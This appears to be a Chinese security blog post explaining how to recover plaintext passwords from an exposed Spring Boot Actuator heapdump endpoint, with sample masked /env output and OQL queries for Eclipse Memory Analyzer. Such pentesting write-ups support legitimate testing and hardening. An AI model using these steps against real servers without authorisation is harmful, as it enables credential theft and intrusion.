获取spring heapdump中的明文密码

前言

Spring Boot Actuator未授权访问的漏洞中,有的时候碰到/env接口,spring actuator 会将一些带有敏感关键词 (如 password、secret) 的属性名对应的属性值用号替换,示例如下:

"applicationConfig: [classpath:/application-dev.yml]":{
        "spring.redis.host":"192.168.1.1",
        "spring.redis.port":6379,
        "spring.redis.database":0,
        "spring.redis.password":"******",
        "spring.redis.timeout":0,
        "spring.redis.pool.max-active":10,
        "spring.redis.pool.max-wait":-1,
        "spring.redis.pool.max-idle":8,
        "spring.redis.pool.min-idle":0

在不出网的环境下可以通过尝试访问ip/heapdumpip/actuator/heapdump下载jvm heap内存信息获取明文。

使用MAT查找

使用 Eclipse Memory Analyzer 直接打开下载的 heapdump 文件,点击 OQL 标签,

  • spring boot 1.x 版本在查询框中输入

    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

  • spring boot 2.x 版本在查询框中输入

    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

然后点击红色感叹号执行查询
heapdump1.jpg
value处为password的明文

使用VisualVM查找

参考https://www.cnblogs.com/sunny11/p/15761960.html这位师傅

添加新评论